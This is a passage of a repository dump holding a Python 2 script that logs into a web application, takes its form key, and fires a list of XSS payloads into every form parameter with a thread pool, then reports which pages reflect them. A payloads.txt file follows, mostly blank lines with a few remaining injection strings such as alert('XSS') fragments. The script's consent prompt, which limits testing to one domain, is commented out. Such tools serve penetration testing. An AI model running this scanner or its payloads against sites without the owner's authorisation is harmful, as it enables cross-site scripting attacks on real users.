69 | return_dict['request'] = {'url': request_url, 'mode': request_mode, 'params': request_params}
70 | if response_url and response_url != request_url:
71 | return_dict['request_read'] = {'url': response_url, 'mode': response_mode, 'params': response_params}
72 | t_start = time.time()
73 |
74 | try:
75 | # Submit Request
76 | [submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
77 | check_url=submit_url+'?'+submit_params
78 | #print "\nscript url\n",check_url
79 | response = opener.open(check_url)
80 | #print response.read()
81 |
82 | # If Response URL is specified, Submit Response
83 | if response_url and response_url != request_url:
84 | [submit_url, submit_params] = buildRequest(response_mode, response_url, response_params)
85 | response = opener.open(submit_url, submit_params)
86 | if response_url != response.geturl():
87 | return_dict['request_read']['redirect_url'] = response.geturl()
88 |
89 | # Read Response
90 | return_dict['response'] = response.readlines()
91 |
92 | except KeyboardInterrupt:
93 | sys.exit(0)
94 | except Exception, e:
95 | return_dict['exception'] = str(e)
96 | finally:
97 | t_end = time.time()
98 | return_dict['time'] = round((t_end - t_start), 5)
99 | return_dict['timestamp'] = datetime.now().isoformat(' ')
100 |
101 | return return_dict
102 |
103 | #--------------------------------------
104 | def buildRequest(mode, url, data):
105 | # -------------------------------------
106 |
107 | if mode == 'GET':
108 | get_url = '%s?' % (url)
109 | for k, v in data.iteritems():
110 | get_url += '%s=%s&' % (k, v)
111 | if get_url[-1] in ['?', '&']:
112 | get_url = get_url[:-1]
113 | return [get_url, None]
114 | elif mode == 'POST':
115 | return [url, urllib.urlencode(data)]
116 | else:
117 | return [None, None]
118 |
119 | # -------------------------------------
120 |
121 | # -------------------------------------
122 | def login(openers):
123 | # -------------------------------------
124 |
125 |
126 |
127 | response_protocol="https://"
128 |
129 |
130 | resp_url=response_protocol + config.get('general','base_url') + config.get('login','formkey_url')
131 | resp=openers['loggedin'].open(resp_url)
132 |
133 | #print "fk_url ",resp_url
134 | page=resp.read()
135 | form_key=config.get('general','form_key') #define the form key paramter name within quotes
136 | __FK = page[page.find(form_key):].split("\"",4)[2] #for finding FK value
137 | email=config.get('login', 'login_email')
138 | password=config.get('login', 'login_password')
139 | opener = openers['loggedin']
140 | url=response_protocol+config.get('general', 'base_url') + config.get('login', 'login_url')
141 | login_dict = {'request': {'mode': 'POST', 'url': url, 'use_ssl': 'true',
142 | 'params': {form_key: __FK,
143 | 'email':email,
144 | 'password': password}}}
145 | request_mode = login_dict['request']['mode']
146 | request_url = login_dict['request']['url']
147 | request_params = login_dict['request']['params']
148 | return_dict = {}
149 | return_dict['request'] = {'url': request_url, 'mode': request_mode, 'params': request_params}
150 | [submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
151 | #print submit_params
152 | response = opener.open(submit_url,submit_params)
153 | return_dict['response'] = response.readlines()
154 | #print return_dict['response']
155 | submit_response=return_dict
156 | submit_response['response'] = json.loads(submit_response['response'][0])
157 | if submit_response['response']['status'].lower() != 'ok':
158 | jsonPrint(submit_response)
159 | sys.exit(0)
160 | else:
161 | print "\nYou are now logged in \n"
162 |
163 |
164 | # -------------------------------------
165 | def attack(site_dict, good_dict ,openers):
166 | # -------------------------------------
167 |
168 | vulnerability_dict={}
169 |
170 | #vulnerability_dict=deepcopy(site_dict)
171 | vulnerability_dict['vulnerability'] = []
172 | opener = openers['loggedin']
173 | [g_submit_url, g_submit_params] = buildRequest(good_dict['request']['mode'],good_dict['request']['post_url'],good_dict['request']['params'])
174 | opener.open(g_submit_url,g_submit_params)
175 | request_mode = site_dict['request']['mode']
176 | request_url = site_dict['request']['post_url']
177 | request_params = site_dict['request']['params']
178 | #vulnerability_dict['url']=site_dict['response']['url']
179 | vulnerability_dict['params']=request_params
180 | return_dict = {}
181 | return_dict['request'] = {'post_url': request_url, 'mode': request_mode, 'params': request_params}
182 | [submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
183 | response = opener.open(submit_url,submit_params)
184 | opener.open(g_submit_url,g_submit_params)
185 | #print response.read()
186 | return_dict['response'] = response.readlines()
187 | #print "attcked url",submit_url+'?'+submit_params
188 | response=opener.open(site_dict['response']['url'])
189 | #good_url=buildRequest(
190 | #jsonPrint(site_dict)
191 | #print "----------opening response url------------"
192 | attack=response.read()
193 | #print attack
194 | XSS=site_dict['response']['xss_response']
195 | #print "\n\nPayload being used is :",XSS
196 |
197 | buf=3
198 | xs=len(XSS)
199 | #print "good_dict['response']['xss_response']",good_dict['response']['xss_response']
200 | XSS_RESPONSE=site_dict['response']['xss_response']
201 |
202 | #print XSS_RESPONSE
203 | # file = open("test.txt","a")
204 | # file.write(attack);
205 | # file.close()
206 | index = attack.find(XSS_RESPONSE)
207 | buffer = 20
208 | attack = attack.split("\n");
209 | #print len(attack)
210 | #print "\nindex", index
211 | #print "\nurl->\n",url
212 | #print "len(vulnerability_dict['vulnerability'])",len(vulnerability_dict['vulnerability'])
213 | if index != -1:
214 | vulnerability_dict['vulnerability'] = True
215 | # else:
216 | # print str(index) + "not vulnerable"
217 | #output={}
218 | #output['param']
219 |
220 | #Output
221 | if config.get('display', 'only_show_vulnerable').lower() == 'false' or vulnerability_dict['vulnerability'] ==True or index != -1:
222 |
223 | print "\n===================================================================================="
224 | print "Vulnerability found (Please check the parameters below) :"
225 | jsonPrint(vulnerability_dict)
226 | intt=1
227 | print "\n\nPayload being used is :",XSS
228 | #print "\n\nPage is being searched for this much xss string :",XSS_RESPONSE
229 | print "\n===================================================================================="
230 |
231 | else:
232 | print "...."
233 |
234 |
235 |
236 | # -------------------------------------
237 | def attackSequence(sites, payloads, openers):
238 | # -------------------------------------
239 |
240 | # Init
241 | threadpool = ThreadPool(int(config.get('general', 'max_thread_count')))
242 | opener=openers['loggedin']
243 | i=0
244 | for site in sites:
245 | site_dict = json.loads(site)
246 | #print "\n-------->",site_dict
247 | fk_url=site_dict['request']['fk_url'] #not response url instead fkurl changes need to be made
248 | #print "\nfk_url-->",fk_url
249 | resp=opener.open(fk_url)
250 | page=resp.read()
251 | form_key=config.get('general','form_key')
252 | __FK = page[page.find(form_key):].split("\"",4)[2] #for finding FormKey value
253 |
254 | print "\nWorking...."
255 | #print len(payloads)
256 | good_dict=deepcopy(site_dict)
257 |
258 | for payload in payloads:
259 | # Loop through parameters
260 |
261 | #print payload
262 | for param_k in sorted(site_dict['request']['params'].iterkeys()):
263 | #print param_k
264 | attack_dict = deepcopy(site_dict)
265 | attack_dict['response']['xss_response']=payload
266 | attack_dict['request']['params'][form_key] =__FK
267 | #print "\n ------------->",attack_dict
268 | attack_dict['request']['params'][param_k] = payload
269 | # print i
270 | # i+=1
271 | #jsonPrint(attack_dict)
272 | #print attack_dict['response']['xss_response']
273 | threadpool.enqueue(attack, attack_dict,good_dict, openers)
274 | #print "sites -------->\n",sites
275 |
276 | # Wait for threadpool
277 | threadpool.wait()
278 |
279 | # -------------------------------------
280 | if __name__ == '__main__':
281 | # -------------------------------------
282 |
283 | # Parse Config
284 | config = ConfigHelper(CONFIG_FILE, False)
285 |
286 | # Init
287 | debug('Initializing script ...')
288 | t_global_start = time.time()
289 |
290 | # Load SITES and PAYLOADS files
291 | sites = []
292 | sites_file = open(config.get('files', 'sites_file'))
293 | for site in sites_file:
294 | site = site[:-1].strip()
295 | if site[0] != '#':
296 | sites.append(site)
297 |
298 | payloads = []
299 | payloads_file = open(config.get('files', 'payloads_file'))
300 | # for payload in payloads_file:
301 | # payload = payload[:-1].strip()
302 | # if payload[0] != '#':
303 | # payloads.append(payload[:-1])
304 |
305 | for payload in payloads_file:
306 | payloads.append(payload[:-1])
307 |
308 |
309 | # Create Openers
310 | openers = dict()
311 | # print "\nYou are being logged into \"%s\" ,testing can only be performed on this domain\n" % config.get('general','base_url')
312 | # input=str(raw_input("\nAre you sure you want to continue ? Y/N\t"))
313 | #if input=='Y' or input =='y':
314 |
315 | debug('Creating guest session ...')
316 | openers['guest'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
317 | debug('Creating logged in session ...')
318 | openers['loggedin'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
319 |
320 |
321 | login(openers)
322 | #take_input()
323 |
324 |
325 | # Loop through SITES file
326 | debug('\nStarting attack sequence ...')
327 | attackSequence(sites, payloads, openers)
328 |
329 |
330 | # Exit
331 | t_global_end = time.time()
332 | if (intt=='0'):
333 | print "\nNo Vulnerabilities found\n"
334 | debug('Time taken : %.2f seconds' % (t_global_end - t_global_start))
335 |
--------------------------------------------------------------------------------
/payloads.txt:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | >
8 |
9 |
10 | ;!--"=&{()}"
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 | ">
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | perl -e 'print " ";' > out
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | <
67 |
68 |
69 |
70 | \";alert('XSS');//
71 |
72 |
73 |
74 | alert(/XSS/.source)
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 | |